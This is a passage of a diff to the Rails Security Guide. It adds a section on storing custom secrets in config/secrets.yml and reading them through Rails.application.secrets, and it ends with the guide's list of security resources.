connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) Environmental Security ---------------------- It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information. +### Custom secrets + +Rails generates a `config/secrets.yml`. By default, this file contains the +application's `secret_key_base`, but it could also be used to store other +secrets such as access keys for external APIs. + +The secrets added to this file are accessible via `Rails.application.secrets`. +For example, with the following `config/secrets.yml`: + + development: + secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 + some_api_key: SOMEKEY + +`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development +environment. + +If you want an exception to be raised when some key is blank, use the bang +version: + +```ruby +Rails.application.secrets.some_api_key! # => raises KeyError: key not found: :some_api_key +``` + Additional Resources -------------------- @@ -1034,4 +1057,3 @@ The security landscape shifts and it is important to keep up to date, because mi * Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security) * [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too) * A [good security blog](https://www.owasp.org) including the [Cross-Site scripting Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) - |